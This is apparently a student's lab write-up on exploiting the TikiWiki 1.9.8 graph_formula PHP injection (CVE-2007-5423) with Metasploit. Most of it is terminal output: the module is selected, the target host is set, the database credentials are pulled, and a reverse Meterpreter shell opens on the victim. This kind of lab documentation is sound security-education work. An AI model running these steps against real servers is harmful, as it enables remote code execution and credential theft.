Yoni Shieber יוני שיבר

ID: *********

Tikiwiki

Introduction:

Tiki is a software system for managing content on websites. The system provides users with creation and management tools, it enables For them, for example, to create web pages and manage them, to control the change of their design, for example, to create new web pages, And even share web pages with other users. The Tiki system is written in the PHP programming language whose code is handled by a browser running on the side The server. The language makes it possible to develop dynamic websites and web pages, and is quite common today in website development. The interpreter of the language running on the server uses the resources of the server itself, such as the system files and in server databases The TikiWiki system can run on any web server that supports the language PHP and it uses the MySQL database. The victim's Ubuntu machine has Tiki system version 1.9.8 installed. This system was discovered in 2007.
The discovered vulnerability allowed users to inject arbitrary PHP code which could cause various damages to the server.

The Vulnerability caused by one of the scripts in the software (graph_formula.php), there is one of the variables (named f) which passed by user and after that passed as parameter to function. In that vulnerability, malicious code passed and can caused damage. (shell for attacker and etc.)

Metasploit DB contain this payload (of the malicious code) and we can exploit by it tiki.

The demonstration of exploit process:

let’s examine how it works.
First w’ill find the payload:

```
root@kali: ~
File  Edit  View  Search  Terminal  Help

msf exploit(seattlelab_pass) > info unix/webapp/tikiwiki_graph_formula_exec

       Name: TikiWiki tiki-graph_formula Remote PHP Code Execution
     Module: exploit/unix/webapp/tikiwiki_graph_formula_exec
   Platform: PHP
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent

Provided by:
  Matteo Cantoni <goony@nothink.org>
  jduck <jduck@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Proxies                   no        Use a proxy chain
  RHOST                     yes       The target address
  RPORT    80               yes       The target port
  URI      /tikiwiki        yes       TikiWiki directory path
  VHOST                     no        HTTP server virtual host

Payload information:
  Space: 6144
  Avoid: 7 characters

Description:
  TikiWiki (<= 1.9.8) contains a flaw that may allow a remote attacker
  to execute arbitrary PHP code. The issue is due to
  'tiki-graph_formula.php' script not properly sanitizing user input
  supplied to create_function(), which may allow a remote attacker to
  execute arbitrary PHP code resulting in a loss of integrity.

References:
  http://cvedetails.com/cve/2007-5423/
  http://www.osvdb.org/40478
  http://www.securityfocus.com/bid/26006
```

set this vulnerability as our payload:

```
root@kali: ~
File  Edit  View  Search  Terminal  Help
  Space: 6144
  Avoid: 7 characters

Description:
  TikiWiki (<= 1.9.8) contains a flaw that may allow a remote attacker
  to execute arbitrary PHP code. The issue is due to
  'tiki-graph_formula.php' script not properly sanitizing user input
  supplied to create_function(), which may allow a remote attacker to
  execute arbitrary PHP code resulting in a loss of integrity.

References:
  http://cvedetails.com/cve/2007-5423/
  http://www.osvdb.org/40478
  http://www.securityfocus.com/bid/26006

msf exploit(seattlelab_pass) > use unix/webapp/tikiwiki_graph_formula_exec
msf exploit(tikiwiki_graph_formula_exec) > show options

Module options (exploit/unix/webapp/tikiwiki_graph_formula_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST                     yes       The target address
   RPORT    80               yes       The target port
   URI      /tikiwiki        yes       TikiWiki directory path
   VHOST                     no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

set remote host.

And exploit..

```
root@kali: ~
File  Edit  View  Search  Terminal  Help
4 packets transmitted, 4 received, 0% packet loss, time 3003ms
rtt min/avg/max/mdev = 0.660/0.748/0.853/0.080 ms
msf exploit(tikiwiki_graph_formula_exec) > set RHOST 10.1000.102.60
RHOST => 10.1000.102.60
msf exploit(tikiwiki_graph_formula_exec) > exploit

[-] Exploit failed: The following options failed to validate: RHOST.
msf exploit(tikiwiki_graph_formula_exec) > set RHOST 10.100.102.60
RHOST => 10.100.102.60
msf exploit(tikiwiki_graph_formula_exec) > exploit

[*] Started reverse handler on 10.100.102.63:4444
[*] Attempting to obtain database credentials...
[*] The server returned            : 200 OK
[*] Server version                 : Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6
with Suhosin-Patch
[*] TikiWiki database informations :

db_tiki   : mysql
dbversion : 1.9
host_tiki : localhost
user_tiki : tiki
pass_tiki : tikipassword
dbs_tiki  : tikiwiki

[*] Attempting to execute our payload...
[*] Sending stage (39848 bytes) to 10.100.102.60
[*] Meterpreter session 1 opened (10.100.102.63:4444 -> 10.100.102.60:55831) at
2022-12-01 04:35:42 -0500

meterpreter > ls

Listing: /var/www/tikiwiki
==========================
```

Yes it works!
We have a meterpreter shell.